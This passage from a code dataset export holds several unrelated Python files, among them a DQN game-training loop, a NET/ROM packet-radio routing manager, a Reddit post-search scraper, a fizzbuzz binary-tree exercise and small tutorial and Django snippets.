#self.rel_pos_enemy_y,\n #self.enemy_dir_x,\n #self.enemy_dir_y,\n self.done]],\n [1, self.state_size])\n\n\n\n # is not called anymore, we don't want to use location as reward,\n # since the enemy always follows the agent on its own.\n def compute_reward(self, standard_reward, distance):\n distance_reward = (self.max_distance - distance) / self.max_distance\n complete_reward = (distance_reward + standard_reward) / 20\n self.total_reward += complete_reward\n\n\n def direction(self, agent_path, enemy_path):\n A_X = (agent_path[-1] - np.array(agent_path[-2]))[0]\n A_Y = -(agent_path[-1] - np.array(agent_path[-2]))[1]\n E_X = (enemy_path[-1] - np.array(enemy_path[-2]))[0]\n E_Y = -(enemy_path[-1] - np.array(enemy_path[-2]))[1]\n return [A_X,A_Y], [E_X,E_Y]\n\n\n def do_action(self, action):\n info, reward, agent_coord, enemy_coord, following_state = self.env.actionLoop(action, 0, self.show_images)\n self.agent_trajectories.append(list(agent_coord))\n self.enemy_trajectories.append(list(enemy_coord))\n\n if reward == 10: # our agent won\n self.games_won += 1\n self.won_now = True\n elif (info == 1) & (reward == 0):\n self.games_lost += 1\n\n\n if len(self.env.agent_path) < 2:\n distance = 500 # Initial distance, only for initialisation\n self.agent_direction = [1, 0] # By definition of facing each other\n self.enemy_direction = [-1, 0]\n else:\n self.distance = np.sqrt(np.square(np.array(list(np.array(agent_coord)- np.array(enemy_coord))).sum(axis=0)))\n self.agent_direction, self.enemy_direction = self.direction(self.env.agent_path, self.env.enemy_path)\n\n #self.compute_reward(reward, distance)\n self.total_reward += reward\n self.rel_pos_enemy = np.array(enemy_coord) - np.array(agent_coord)\n\n return info, following_state\n\n\n def init_environment(self, agent_here):\n info, reward, state = self.env.reset()\n action = agent_here.act(self.init_features) # get next action\n self.done = 0\n info, next_state = self.do_action(action)\n\n return info, next_state\n\n def get_small_state(self):\n self.agent_coord_x = self.agent_trajectories[-1][0]\n self.agent_coord_y = self.agent_trajectories[-1][1]\n self.enemy_coord_x = self.agent_trajectories[-1][0]\n self.enemy_coord_y = self.agent_trajectories[-1][1]\n self.agent_dir_x = self.agent_direction[0]\n self.agent_dir_y = self.agent_direction[1]\n self.rel_pos_enemy_x = self.relative_pos_enemy[0]\n self.rel_pos_enemy_y = self.relative_pos_enemy[1]\n self.enemy_dir_x = self.enemy_direction[0]\n self.enemy_dir_y = self.enemy_direction[1]\n self.done = self.done\n return self.used_features\n\n\n def main_loop(self):\n stopwatch_main = Stopwatch()\n stopwatch_main.start()\n self.games_lost = 0\n self.games_won = 0\n\n for e in range(self.episode_count):\n status, next_state = self.init_environment(self.agent)\n small_state = self.get_small_state()\n small_state = np.reshape(small_state, [1, self.state_size])\n\n total_timesteps = 0\n action = 0\n execute_action = 0\n self.total_reward = 0\n self.won_now = False\n\n\n while self.done == 0:\n if (total_timesteps % self.skip_frames == 0) or (total_timesteps % self.skip_frames == self.skip_frames - 1):\n evaluate_frame = True\n else:\n evaluate_frame = False\n\n if execute_action == 0:\n execute_action = self.nr_action_executions #random.randrange(1, 10) # execute the action a random amount of times\n action = self.agent.act(small_state) # instantiate new action\n\n\n status, next_state = self.do_action(action)\n execute_action -= 1\n\n if status == 1:\n self.done = 1\n if self.won_now:\n # maybe only if you won\n string_game_result = \"you won!\"\n if total_timesteps <= 600:\n self.total_reward += self.extra_win_reward\n else:\n self.total_reward -= self.negative_value\n #self.total_reward += (50/total_timesteps)\n string_game_result = \"you lost\"\n #if total_timesteps <= 400:\n # self.total_reward += 0.1\n\n\n print(f\"Game nr. {e} is finished, \\n {string_game_result} - your final reward is: {self.total_reward}, duration was {total_timesteps} timesteps\")\n\n\n done_list = [self.done]\n next_small_state = self.get_small_state()\n next_small_state = np.reshape(next_small_state, [1, self.state_size]) # why?\n\n small_state = np.reshape(small_state, [1, self.state_size])\n\n if (total_timesteps % self.skip_frames == 0):\n self.agent.remember(small_state, action, self.total_reward, next_small_state, list(done_list))\n\n small_state = next_small_state # new small state\n total_timesteps += 1\n\n self.total_rewards.append(self.total_reward)\n\n if len(self.agent.memory) > self.batch_size:\n self.agent.train()\n\n if e % 50 == 0:\n self.agent.save(self.model_output_dir + \"weights_\"+ '{:04d}'.format(e) + \".hdf5\")\n\n # plot and save rewards until now\n if (e % self.bin_size == 0) & (e != 0):\n x_data_per_episode = list(range(e + 1))\n y_data_per_episode = self.total_rewards\n print(x_data_per_episode)\n print(y_data_per_episode)\n y_sums = []\n y_averages = []\n x_sums_averages = list(range(int(e/self.bin_size)))\n\n bins = int(e/self.bin_size)\n\n for i in range(bins):\n part = y_data_per_episode[(i*self.bin_size): ((i*self.bin_size)+self.bin_size)]\n sum_part = sum(part)\n y_sums.append(sum_part)\n average_part = sum_part / len(part)\n y_averages.append(average_part)\n\n print(x_sums_averages)\n print(y_sums)\n print(y_averages)\n\n fig = plt.figure()\n ax1 = fig.add_subplot(1, 3, 1)\n ax2 = fig.add_subplot(1, 3, 2)\n ax3 = fig.add_subplot(1, 3, 3)\n\n ax1.scatter(x_data_per_episode, y_data_per_episode, label='data')\n ax1.set_xlabel(\"episode nr.\")\n ax1.set_ylabel(\"total reward\")\n ax1.set_title('total reward per episode')\n\n ax2.bar(x_sums_averages, y_sums, label='data')\n ax2.set_xlabel(\"batch nr.\")\n ax2.set_ylabel(\"sum reward\")\n ax2.set_title('total reward per batch of size 4')\n\n ax3.bar(x_sums_averages, y_averages, label='data')\n ax3.set_xlabel(\"batch nr.\")\n ax3.set_ylabel(\"average reward\")\n ax3.set_title('total reward per batch of size 4')\n\n fig.tight_layout()\n\n fig.savefig(self.reward_plot_path)\n\n\n\n stopwatch_main.stop()\n print(f\"finished all episodes (in {stopwatch_main.duration}). \\nTotal games won: {self.games_won} \\nTotal games lost: {self.games_lost}\")\n\n\nif __name__ == '__main__':\n agent_learn = EpisodeLoop()\n agent_learn.main_loop()\n","sub_path":"src/DQN_episode_loop.py","file_name":"DQN_episode_loop.py","file_ext":"py","file_size_in_byte":11083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"375677715","text":"\nclass ValidateMarkupPositionsService(object):\n def __init__(self, markup, text):\n self.markup = markup\n self.text = text\n\n def call(self):\n text_length = len(self.text)\n for position in self.markup.iterkeys():\n if int(position) < 0 or int(position) > text_length:\n from unbabel_text_utils.handlers.markup_handler import \\\n InvalidMarkupException\n raise InvalidMarkupException(\"markup position is out of range\")\n","sub_path":"unbabel_text_utils/services/validate_markup_positions_service.py","file_name":"validate_markup_positions_service.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"592792393","text":"# TAREA 1 - MT7003\r\n# ADRIAN OROZCO RIVERA- KARINA AZOFEIFA AMPIE\r\n\r\n\r\n# FUNCION MULTIPLE_OP\r\n# ENTRADA: NUMERO ENTERO\r\n# SALIDA: ARREGLO DE NUMEROS\r\ndef multiple_op(x):\r\n Arreglo = []\r\n contador = 1\r\n factorial = 1\r\n # PRIMERO SE VERIFICA QUE EL TIPO DE DATO ES VALIDO\r\n if(type(x) != int):\r\n # CODIGO DE ERROR 805: TIPO DE DATO INVALIDO\r\n return 805\r\n else:\r\n Arreglo.append(x*x)\r\n Arreglo.append(pow(2, x))\r\n while (contador <= x):\r\n factorial = factorial * contador\r\n contador = contador + 1\r\n else:\r\n Arreglo.append(factorial)\r\n return Arreglo\r\n\r\n# FUNCION VERIFY_ARRAY_OP\r\n# ENTRADA: UN ARREGLO DE NUMEROS\r\n# SALIDA: UN ARREGLO DE ARREGLOS\r\n\r\n\r\ndef verify_array_op(Arreglo):\r\n Resultado = []\r\n contador = 0\r\n while(contador < 3):\r\n # PARA CADA ELEMENTO DE LA LISTA SE VALIDA EL TIPO DE DATO\r\n if(type(Arreglo[contador]) != int):\r\n # CODIGO DE ERROR 508: DATO INVALIDO EN LISTA\r\n return 508\r\n else:\r\n Resultado.append(multiple_op(Arreglo[contador]))\r\n contador = contador + 1\r\n return Resultado\r\n","sub_path":"Funciones.py","file_name":"Funciones.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"36332409","text":"import asyncio\nimport datetime\nimport json\nimport logging\nimport os\nfrom asyncio import Lock\nfrom dataclasses import dataclass, field\nfrom itertools import islice\nfrom operator import attrgetter\nfrom typing import Dict, List, cast, Iterator\n\nfrom tarpn.ax25 import AX25Call, L3Protocol, AX25Packet, UIFrame, parse_ax25_call, SupervisoryCommand, AX25StateType\nfrom tarpn.ax25.datalink import DataLinkManager, L3Handler\nfrom tarpn.events import EventBus, EventListener\nfrom tarpn.logging import LoggingMixin\nfrom tarpn.netrom import NetRom, NetRomPacket, parse_netrom_packet\nfrom tarpn.netrom.statemachine import NetRomStateMachine, NetRomStateEvent\nfrom tarpn.settings import NetworkConfig\nfrom tarpn.util import chunks\n\n\n@dataclass\nclass Neighbor:\n call: AX25Call\n port: int\n quality: int\n\n\n@dataclass\nclass Route:\n neighbor: AX25Call\n dest: AX25Call\n next_hop: AX25Call\n quality: int\n obsolescence: int\n\n\n@dataclass\nclass Destination:\n node_call: AX25Call\n node_alias: str\n neighbor_map: Dict[AX25Call, Route] = field(default_factory=dict)\n freeze: bool = False\n\n def sorted_neighbors(self):\n return sorted(self.neighbor_map.values(), key=attrgetter(\"quality\"), reverse=True)\n\n\n@dataclass\nclass NodeDestination:\n dest_node: AX25Call\n dest_alias: str\n best_neighbor: AX25Call\n quality: int\n\n def __post_init__(self):\n self.quality = int(self.quality)\n\n\n@dataclass\nclass NetRomNodes:\n sending_alias: str\n destinations: List[NodeDestination]\n\n def to_packets(self, source: AX25Call) -> Iterator[UIFrame]:\n for dest_chunk in chunks(self.destinations, 11):\n nodes_chunk = NetRomNodes(self.sending_alias, dest_chunk)\n yield UIFrame.ui_frame(AX25Call(\"NODES\", 0), source, [], SupervisoryCommand.Command,\n False, L3Protocol.NetRom, encode_netrom_nodes(nodes_chunk))\n\n def save(self, source: AX25Call, file: str):\n nodes_json = {\n \"nodeCall\": str(source),\n \"nodeAlias\": self.sending_alias,\n \"createdAt\": datetime.datetime.now().isoformat(),\n \"destinations\": [{\n \"nodeCall\": str(d.dest_node),\n \"nodeAlias\": d.dest_alias,\n \"bestNeighbor\": str(d.best_neighbor),\n \"quality\": d.quality\n } for d in self.destinations]\n }\n with open(file, \"w\") as fp:\n json.dump(nodes_json, fp, indent=2)\n\n @classmethod\n def load(cls, source: AX25Call, file: str):\n if not os.path.exists(file):\n return\n with open(file) as fp:\n nodes_json = json.load(fp)\n assert str(source) == nodes_json[\"nodeCall\"]\n sending_alias = nodes_json[\"nodeAlias\"]\n destinations = []\n for dest_json in nodes_json[\"destinations\"]:\n destinations.append(NodeDestination(\n AX25Call.parse(dest_json[\"nodeCall\"]),\n dest_json[\"nodeAlias\"],\n AX25Call.parse(dest_json[\"bestNeighbor\"]),\n int(dest_json[\"quality\"])\n ))\n return cls(sending_alias, destinations)\n\n\n@dataclass\nclass RoutingTable:\n node_alias: str\n our_calls: List[AX25Call] = field(default_factory=list)\n\n # Neighbors is a map of direct neighbors we have, i.e., who we have heard NODES from\n neighbors: Dict[AX25Call, Neighbor] = field(default_factory=dict)\n\n # Destinations is the content of the NODES table, what routes exist to other nodes through which neighbors\n destinations: Dict[AX25Call, Destination] = field(default_factory=dict)\n\n # TODO config all these\n default_obs: int = 100\n default_quality: int = 255\n min_quality: int = 50\n min_obs: int = 4\n\n def __repr__(self):\n s = \"Neighbors:\\n\"\n for neighbor in self.neighbors.values():\n s += f\"\\t{neighbor}\\n\"\n s += \"Destinations:\\n\"\n for dest in self.destinations.values():\n s += f\"\\t{dest}\\n\"\n return s.strip()\n\n def route(self, packet: NetRomPacket) -> List[AX25Call]:\n \"\"\"\n If a packet's destination is a known neighbor, route to it. Otherwise look up the route with the highest\n quality and send the packet to the neighbor which provided that route\n :param packet:\n :return: list of neighbor callsign's in sorted order of route quality\n \"\"\"\n if packet.dest in self.neighbors:\n return [packet.dest]\n else:\n dest = self.destinations.get(packet.dest)\n if dest:\n return [n.neighbor for n in dest.sorted_neighbors()]\n else:\n return []\n\n def bind_application(self, app_call: AX25Call, app_alias: str):\n app_routes = {}\n for our_call in self.our_calls:\n app_routes[our_call] = Route(our_call, app_call, our_call, 95, 100)\n self.destinations[app_call] = Destination(app_call, app_alias, app_routes, True)\n\n def update_routes(self, heard_from: AX25Call, heard_on_port: int, nodes: NetRomNodes):\n \"\"\"\n Update the routing table with a NODES broadcast.\n\n This method is not thread-safe.\n \"\"\"\n # Get or create the neighbor and destination\n neighbor = self.neighbors.get(heard_from, Neighbor(heard_from, heard_on_port, self.default_quality))\n self.neighbors[heard_from] = neighbor\n\n # Add direct route to whoever sent the NODES\n dest = self.destinations.get(heard_from, Destination(heard_from, nodes.sending_alias))\n dest.neighbor_map[heard_from] = Route(heard_from, heard_from, heard_from,\n self.default_quality, self.default_obs)\n self.destinations[heard_from] = dest\n\n for destination in nodes.destinations:\n # Filter out ourselves\n route_quality = 0\n if destination.best_neighbor in self.our_calls:\n # Best neighbor is us, this is a \"trivial loop\", quality is zero\n continue\n else:\n # Otherwise compute this route's quality based on the NET/ROM spec\n route_quality = (destination.quality * neighbor.quality + 128.) / 256.\n\n # Only add routes which are above the minimum quality to begin with TODO check this logic\n if route_quality > self.min_quality:\n new_dest = self.destinations.get(\n destination.dest_node, Destination(destination.dest_node, destination.dest_alias))\n new_route = new_dest.neighbor_map.get(\n neighbor.call, Route(neighbor.call, destination.dest_node, destination.best_neighbor,\n int(route_quality), self.default_obs))\n new_route.quality = route_quality\n new_route.obsolescence = self.default_obs\n new_dest.neighbor_map[neighbor.call] = new_route\n self.destinations[destination.dest_node] = new_dest\n else:\n # print(f\"Saw new route for {destination}, but quality was too low\")\n pass\n\n def prune_routes(self) -> None:\n \"\"\"\n Prune any routes which we haven't heard about in a while.\n\n This method is not thread-safe.\n \"\"\"\n # print(\"Pruning routes\")\n for call, destination in list(self.destinations.items()):\n if destination.freeze:\n # Don't prune frozen routes\n continue\n for neighbor, route in list(destination.neighbor_map.items()):\n route.obsolescence -= 1\n if route.obsolescence <= 0:\n # print(f\"Removing {neighbor} from {destination} neighbor's list\")\n del destination.neighbor_map[neighbor]\n if len(destination.neighbor_map.keys()) == 0:\n # print(f\"No more routes to {call}, removing from routing table\")\n del self.destinations[call]\n if call in self.neighbors:\n del self.neighbors[call]\n\n def get_nodes(self) -> NetRomNodes:\n node_destinations = []\n for destination in self.destinations.values():\n best_neighbor = None\n for neighbor in destination.sorted_neighbors():\n if neighbor.obsolescence >= self.min_obs:\n best_neighbor = neighbor\n break\n else:\n # print(f\"Not including {neighbor} in NODES, obsolescence below threshold\")\n pass\n if best_neighbor:\n node_destinations.append(NodeDestination(destination.node_call, destination.node_alias,\n best_neighbor.next_hop, best_neighbor.quality))\n else:\n # print(f\"No good neighbor was found for {destination}\")\n pass\n return NetRomNodes(self.node_alias, node_destinations)\n\n\ndef parse_netrom_nodes(data: bytes) -> NetRomNodes:\n bytes_iter = iter(data)\n assert next(bytes_iter) == 0xff\n sending_alias = bytes(islice(bytes_iter, 6)).decode(\"ASCII\", \"replace\").strip()\n destinations = []\n while True:\n try:\n dest = parse_ax25_call(bytes_iter)\n alias = bytes(islice(bytes_iter, 6)).decode(\"ASCII\", \"replace\").strip()\n neighbor = parse_ax25_call(bytes_iter)\n quality = next(bytes_iter)\n destinations.append(NodeDestination(dest, alias, neighbor, quality))\n except StopIteration:\n break\n return NetRomNodes(sending_alias, destinations)\n\n\ndef encode_netrom_nodes(nodes: NetRomNodes) -> bytes:\n b = bytearray()\n b.append(0xff)\n b.extend(nodes.sending_alias.ljust(6, \" \").encode(\"ASCII\"))\n for dest in nodes.destinations:\n dest.dest_node.write(b)\n b.extend(dest.dest_alias.ljust(6, \" \").encode(\"ASCII\"))\n dest.best_neighbor.write(b)\n b.append(dest.quality & 0xff)\n return bytes(b)\n\n\nclass NetworkManager(NetRom, L3Handler, LoggingMixin):\n def __init__(self, config: NetworkConfig):\n self.config = config\n self.sm = NetRomStateMachine(self)\n self.router = RoutingTable(config.node_alias())\n self.l3_apps: Dict[AX25Call, str] = {}\n self.data_links: Dict[int, DataLinkManager] = {}\n self.route_lock = Lock()\n asyncio.get_event_loop().create_task(self._broadcast_nodes())\n\n def extra():\n return f\"[L4 Call={str(config.node_call())} Alias={config.node_alias()}]\"\n LoggingMixin.__init__(self, logging.getLogger(\"main\"), extra)\n\n async def start(self):\n self.info(\"Starting NetworkManager\")\n await self.sm.start()\n\n def can_handle(self, protocol: L3Protocol) -> bool:\n \"\"\"L3Handler.can_handle\"\"\"\n return protocol == L3Protocol.NetRom\n\n def maybe_handle_special(self, port: int, packet: AX25Packet) -> bool:\n \"\"\"L3Handler.maybe_handle_special\"\"\"\n if type(packet) == UIFrame:\n ui = cast(UIFrame, packet)\n if ui.protocol == L3Protocol.NetRom and ui.dest == AX25Call(\"NODES\"):\n # Parse this NODES packet and mark it as handled\n nodes = parse_netrom_nodes(ui.info)\n EventBus.emit(\"netrom.nodes\", [nodes])\n asyncio.get_event_loop().create_task(self._update_nodes(packet.source, port, nodes))\n # Stop further processing\n return False\n return True\n\n def handle(self, port: int, remote_call: AX25Call, data: bytes):\n \"\"\"L3Handler.handle\"\"\"\n try:\n netrom_packet = parse_netrom_packet(data)\n asyncio.create_task(self._handle_packet_async(netrom_packet))\n return True\n except:\n return False\n\n def local_call(self) -> AX25Call:\n return AX25Call.parse(self.config.node_call())\n\n async def _handle_packet_async(self, netrom_packet: NetRomPacket):\n \"\"\"If packet is for us, handle it, otherwise forward it using our L3 routing table\"\"\"\n\n EventBus.emit(\"netrom.incoming\", [netrom_packet])\n self.info(f\"RX: {netrom_packet}\")\n\n if netrom_packet.dest == AX25Call(\"KEEPLI-0\"):\n # What are these?? Just ignore them\n pass\n elif netrom_packet.dest == AX25Call.parse(self.config.node_call()):\n # Destination is this node\n self.sm.handle_packet(netrom_packet)\n elif netrom_packet.dest in self.l3_apps:\n # Destination is an app served by this node\n self.sm.handle_packet(netrom_packet)\n else:\n # Destination is somewhere else\n self.write_packet(netrom_packet, forward=True)\n\n def get_circuit_ids(self) -> List[int]:\n return self.sm.get_circuits()\n\n def get_circuit(self, circuit_id: int):\n return self.sm._get_circuit(circuit_id, circuit_id) # TODO fix this\n\n def nl_data_request(self, my_circuit_id: int, remote_call: AX25Call, local_call: AX25Call, data: bytes):\n event = NetRomStateEvent.nl_data(my_circuit_id, remote_call, data)\n self.sm.handle_internal_event(event)\n\n def nl_data_indication(self, my_circuit_idx: int, my_circuit_id: int,\n remote_call: AX25Call, local_call: AX25Call, data: bytes):\n # Called from the state machine to indicate data to higher layers\n EventBus.emit(f\"netrom.{local_call}.inbound\", my_circuit_idx, remote_call, data)\n\n def nl_connect_request(self, remote_call: AX25Call, local_call: AX25Call):\n # circuit_id of -1 means pick an unused circuit to use\n if remote_call == local_call:\n raise RuntimeError(f\"Cannot connect to node's own callsign {local_call}\")\n nl_connect = NetRomStateEvent.nl_connect(-1, remote_call, local_call)\n self.sm.handle_internal_event(nl_connect)\n\n def nl_connect_indication(self, my_circuit_idx: int, my_circuit_id: int,\n remote_call: AX25Call, local_call: AX25Call):\n # Send a connect event\n EventBus.emit(f\"netrom.{local_call}.connect\", my_circuit_idx, remote_call)\n\n def nl_disconnect_request(self, my_circuit_id: int, remote_call: AX25Call, local_call: AX25Call):\n event = NetRomStateEvent.nl_disconnect(my_circuit_id, remote_call, local_call)\n self.sm.handle_internal_event(event)\n\n def nl_disconnect_indication(self, my_circuit_idx: int, my_circuit_id: int,\n remote_call: AX25Call, local_call: AX25Call):\n EventBus.emit(f\"netrom.{local_call}.disconnect\", my_circuit_idx, remote_call)\n\n # TODO error indication\n\n def write_packet(self, packet: NetRomPacket, forward: bool = False) -> bool:\n possible_routes = self.router.route(packet)\n routed = False\n for route in possible_routes:\n neighbor = self.router.neighbors.get(route)\n #print(f\"Trying route {route} to neighbor {neighbor}\")\n data_link = self.data_links.get(neighbor.port)\n try:\n data_link.dl_data_request(neighbor.call, L3Protocol.NetRom, packet.buffer)\n #print(f\"Routed {packet}\")\n routed = True\n EventBus.emit(\"netrom.outbound\", [packet])\n if forward:\n # Log this transmission differently if it's being forwarded\n self.logger.info(f\"[L3 Route={route} Neighbor={neighbor.call}] TX: {packet}\")\n else:\n self.info(f\"TX: {packet}\")\n break\n except Exception as e:\n #print(f\"Had an error {e}\")\n pass\n\n if not routed:\n self.warning(f\"Could not route packet to {packet.dest}. Possible routes were {possible_routes}\")\n pass\n\n return routed\n\n def bind_data_link(self, data_link: DataLinkManager):\n self.data_links[data_link.link_port] = data_link\n self.router.our_calls.append(data_link.link_call)\n data_link.add_l3_handler(self)\n\n def bind_application(self, app_call: AX25Call, app_alias: str):\n self.router.bind_application(app_call, app_alias)\n self.l3_apps[app_call] = app_alias\n\n # Need to bind this here so the application can start sending packets right away\n EventBus.bind(EventListener(\n f\"netrom.{app_call}.outbound\",\n f\"netrom_{app_call}_outbound\",\n lambda remote_call, data: self.nl_data_request(remote_call, app_call, data)\n ), True)\n\n def _maybe_open_data_link(self, port: int, remote_call: AX25Call):\n data_link = self.data_links.get(port)\n if data_link.link_state(remote_call) in (AX25StateType.Disconnected, AX25StateType.AwaitingRelease):\n # print(f\"Opening data link to {remote_call}\")\n data_link.dl_connect_request(remote_call)\n\n async def _update_nodes(self, heard_from: AX25Call, heard_on: int, nodes: NetRomNodes):\n async with self.route_lock:\n #print(f\"Got Nodes\\n{nodes}\")\n self.router.update_routes(heard_from, heard_on, nodes)\n self._maybe_open_data_link(heard_on, heard_from)\n #print(f\"New routing table\\n{self.router}\")\n await asyncio.sleep(10)\n\n async def _broadcast_nodes(self):\n await asyncio.sleep(10) # initial delay\n while True:\n async with self.route_lock:\n self.router.prune_routes()\n nodes = self.router.get_nodes()\n nodes.save(AX25Call.parse(self.config.node_call()), \"nodes.json\")\n for dl in self.data_links.values():\n for nodes_packet in nodes.to_packets(AX25Call.parse(self.config.node_call())):\n dl.write_packet(nodes_packet)\n await asyncio.sleep(0.030) # Small delay between each NODES broadcast\n await asyncio.sleep(self.config.nodes_interval())\n","sub_path":"tarpn/netrom/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":17997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"369390627","text":"import urllib.request\nimport json\nimport time\nimport praw\nimport sys\nimport datetime\nimport bot\n\n\nprint('Starting r')\nr = bot.rG()\n\ndef timesearch(lower, upper, subreddit):\n url = 'http://api.reddit.com/r/' + subreddit + '/search?sort=new&q=timestamp%3A' + str(lower) + '..' + str(upper) +'&restrict_sr=on&syntax=cloudsearch'\n print(url)\n web = urllib.request.urlopen(url)\n webresponse = web.read()\n webresponse = webresponse.decode('utf-8', 'ignore')\n js = json.loads(webresponse)\n print(js)\n results = []\n for postjson in js['data']['children']:\n postdata = postjson['data']\n print(postdata)\n results.append(postdata)\n return results\n\ndtformat = \"%d %B %Y %H:%M UTC\"\ndef get_all_posts(subredditname, intt):\n interval = intt\n now = datetime.datetime.now(datetime.timezone.utc).timestamp() \n print('Now: ' + str(now))\n subreddit = r.get_subreddit(subredditname)\n screated = subreddit.created_utc\n stime = datetime.datetime.utcfromtimestamp(screated)\n stime = datetime.datetime.strftime(stime, dtformat)\n print('/r/' + subredditname)\n print('Created: ' + str(screated) + ', ' + stime)\n\n lowerbound = screated\n upperbound = lowerbound + interval\n\n results = []\n print('Interval: ' + str(interval) + ' seconds')\n while lowerbound < now:\n lowerbound = int(lowerbound)\n upperbound = int(upperbound)\n #I was having float problems earlier.\n\n lowert = datetime.datetime.utcfromtimestamp(lowerbound)\n uppert = datetime.datetime.utcfromtimestamp(upperbound)\n print(\"Lower: \" + str(lowerbound) + \", \" + datetime.datetime.strftime(lowert, dtformat))\n print(\"Upper: \" + str(upperbound) + \", \" + datetime.datetime.strftime(uppert, dtformat))\n try:\n moreresults = timesearch(lowerbound, upperbound, subredditname)\n moreresults.sort(key=lambda x:x['created_utc'])\n results += moreresults\n\n if len(moreresults) < 5:\n interval *= 2\n print('Doubling interval to ' + str(interval))\n lowerbound = upperbound\n upperbound = lowerbound + interval\n\n elif len(moreresults) >= 24:\n interval /= 2\n print('Halving interval to ' + str(interval))\n lowerbound = results[-1]['created_utc']\n upperbound = lowerbound + interval\n print('Resetting bounds to ' + str(lowerbound) + ', ' + str(upperbound))\n\n else:\n lowerbound += interval\n upperbound += interval\n\n print(\"Items this round: \" + str(len(moreresults)))\n except urllib.error.HTTPError as e:\n print('Caught HTTPError')\n print(e)\n print('Dumping results:')\n for result in results:\n print(result)\n quit()\n print(\"Items total: \" + str(len(results)))\n print('Sleeping 20\\n')\n time.sleep(20)\n return results\n\n\nresults = get_all_posts('GoldTesting', 86400)\nfilea = open('timesearching.txt', 'w')\nfor result in results:\n print(str(result), file=filea)\nfilea.close()","sub_path":"Prawtimestamps/timesearch.py","file_name":"timesearch.py","file_ext":"py","file_size_in_byte":3175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"446894268","text":"from ggame import App, Color, LineStyle, Sprite\nfrom ggame import CircleAsset\nimport math\n\nred = Color(0xff0000, 1.0)\ngreen = Color(0x00ff00, 1.0)\nblue = Color(0x0000ff, 1.0)\nblack = Color(0x000000, 1.0)\npurple = Color(0x551a8b, 1.0)\n\nthinline = LineStyle(1, black)\nmycircle = CircleAsset(5, thinline, blue)\nxcoordinates = range(0, 360, 10)\nredcircle = CircleAsset(5, thinline, red)\npurcircle = CircleAsset(5, thinline, purple)\n\n# Generate a list of sprites that form a line!\nblsprites = [Sprite(mycircle, (x, 100+100*math.sin(math.radians(x)))) for x in xcoordinates]\nresprites = [Sprite(redcircle, (x, 100+100*math.cos(math.radians(x)))) for x in xcoordinates]\npursprites = [Sprite(purcircle, (100+100*math.cos(math.radians(x)), 400+100*math.sin(math.radians(x)))) for x in xcoordinates]\n\nmyapp = App()\nmyapp.run()\n","sub_path":"tutorial2.py","file_name":"tutorial2.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"621628167","text":"\ndef amend_dhalik():\n lines = open('../migrations/0002_required_data_quran_diacritic.txt', encoding='utf-8').readlines()\n\n pattern = 'ذَلِك'\n replacement = 'ذَٰلِك'\n\n replacements = 0\n for i, line in enumerate(lines):\n newLine = line\n while newLine.find(pattern) > -1:\n newLine = newLine.replace(pattern, replacement)\n replacements += 1\n lines[i] = newLine\n\n print('Total {} amendments made'.format(replacements))\n with open('../migrations/0002_required_data_quran_diacritic.txt', 'w', encoding='utf-8') as outfile:\n outfile.write(''.join(lines))\n\n\nif __name__ == '__main__':\n amend_dhalik()\n","sub_path":"qurantextdiff/helpers/SourceAmend.py","file_name":"SourceAmend.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"273622661","text":"import PyBulletEnv\nimport Obj\n\n\nif __name__ == \"__main__\":\n env = PyBulletEnv.PyBulletEnv()\n env.setup()\n cow = Obj.Obj(\"data/cow/cow.obj\", 0.005)\n deer = Obj.Obj(\"data/deer/deer.obj\", 0.02)\n\n for i in range(10):\n # For fun, try adding another 0!\n deer.createObjectObj([i, 0, 0], (i+1)/1000)\n\n deer.createObjectURDF([0, 4, 0], orient=[0, 0, 0, 1])\n env.run()\n","sub_path":"python_part/deer.py","file_name":"deer.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"500342399","text":"from challenges.tree.tree import BinaryTree, _Node\n\n\ndef fizzbuzz_tree(tree):\n \"\"\"Take a tree tree and return a new tree with values fizzbuzzed.\"\"\"\n\n if not tree._root:\n return None\n\n node = fizzbuzz_node(tree._root)\n new_tree = BinaryTree(node)\n return new_tree\n\n\ndef fizzbuzz_node(node):\n \"\"\"Take a node and return a new node with the value fizzbuzzed.\"\"\"\n\n new_node = _Node(node.value)\n if node.left:\n new_node.left = fizzbuzz_node(node.left)\n if node.right:\n new_node.right = fizzbuzz_node(node.right)\n\n new_node.value = fizzbuzz(new_node.value)\n\n return new_node\n\n\ndef fizzbuzz(value):\n \"\"\"Return the fizzbuzz of a value.\"\"\"\n\n if value % 3 == 0 and value % 5 == 0:\n return 'FizzBuzz'\n elif value % 3 == 0:\n return 'Fizz'\n elif value % 5 == 0:\n return 'Buzz'\n else:\n return str(value)\n","sub_path":"python/challenges/fizzbuzz_tree/fizzbuzz_tree.py","file_name":"fizzbuzz_tree.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"70686140","text":"from django.conf.urls import url\nfrom soshine import views\n\nurlpatterns = [\n url(r'^sogis/$',views.sogis,name = 'sogis'),\n url(r'^somap/(\\d+)$',views.somap,name = 'somap'),\n url(r'^index/$',views.index,name = 'soshineindex'),\n]\n\n\n\n","sub_path":"soshine/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"591415123","text":"from __future__ import print_function, division, absolute_import\n\nfrom multiprocessing import Pool\nimport os\n\nfrom optaux import me_community\n\n\nsim_script_dir = me_community.__path__[0]\n\n\ndef run_pool(function, values, processes=4):\n pool = Pool(processes=processes)\n pool.map(function, values)\n\n\ndef submit_job(value_tuple):\n pair, f, q1, q2, mode, restrict, k1, k2, uptake, 